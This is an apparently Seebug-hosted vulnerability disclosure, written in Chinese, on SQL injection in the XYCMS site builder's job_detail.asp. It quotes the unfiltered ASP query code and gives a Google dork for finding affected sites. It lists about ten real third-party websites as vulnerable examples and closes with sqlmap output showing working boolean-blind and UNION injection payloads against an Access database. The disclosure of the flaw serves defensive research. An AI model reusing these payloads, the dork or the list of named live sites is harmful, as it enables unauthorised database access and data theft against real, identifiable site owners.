### 简要描述：
XYCMS建站系统SQL注入#2
### 详细说明：
同第一个
XYCMS建站系统SQL注入#1
这里提交的在wooyun没有提交过！这里提交不重复，证明：
[<img src="https://images.seebug.org/upload/201412/28214924b517af2e9cc79e33f1ff57634b0f4639.png" alt="1228_t_10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/28214924b517af2e9cc79e33f1ff57634b0f4639.png)
除了：fwxm_detail.asp，news.asp，team_detail.asp这些外。。。
job_detail.asp未对id进行任何过滤就直接带入数据库查询
```
id=request.QueryString("id")
set rs=server.createobject("adodb.recordset")
exec="select * from zpxx where id="& id
rs.open exec,conn,1,1
if rs.eof then
response.Write "<div style=""padding:10px"">没有相关信息！</a>"
response.End()
end if
```
[<img src="https://images.seebug.org/upload/201412/282151004d62c15db7b2200afe99935918d95caf.png" alt="1228_t_11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/282151004d62c15db7b2200afe99935918d95caf.png)
### 漏洞证明：
搜索特征：
inurl:job_detail.asp?id=
实例：
http://www.qdzhihui.cn/job_detail.asp?id=22
http://www.jmofcole.com/job_detail.asp?id=3
http://www.cdmalc.com/job_detail.asp?id=2
http://www.czjt.com/job_detail.asp?id=386
http://www.shenzhouintl.com/cn_jt/job_detail.asp?id=26
http://www.njjldg.com/job_detail.asp?id=2
http://www.xmwx.org.cn/job_detail.asp?id=45
http://zqrc.com.cn/job_detail.asp?id=29763
http://www.zn-test.cn/job_detail.asp?id=2
http://www.qdzhihui.cn/job_detail.asp?id=23
...
[<img src="https://images.seebug.org/upload/201412/28221918055329ccd99daa01128d14203ea625d5.png" alt="1228_t_12.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/28221918055329ccd99daa01128d14203ea625d5.png)
```
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection points with a total of 22 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=22 AND 3795=3795
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=-8961 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHR(58)&CHR
(104)&CHR(118)&CHR(121)&CHR(58)&CHR(106)&CHR(85)&CHR(73)&CHR(88)&CHR(100)&CHR(68
)&CHR(68)&CHR(110)&CHR(69)&CHR(108)&CHR(58)&CHR(113)&CHR(107)&CHR(104)&CHR(58),N
ULL,NULL FROM MSysAccessObjects%00
---
```
京公网安备 11010502034610号
暂无评论